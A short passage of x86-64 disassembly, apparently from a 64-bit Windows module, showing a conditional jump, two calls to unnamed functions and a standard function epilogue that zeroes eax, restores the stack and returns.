jne 0x18001a53e
call fcn.180006870
call fcn.180008948
xor eax, eax
add rsp, 0x140
pop rbx
ret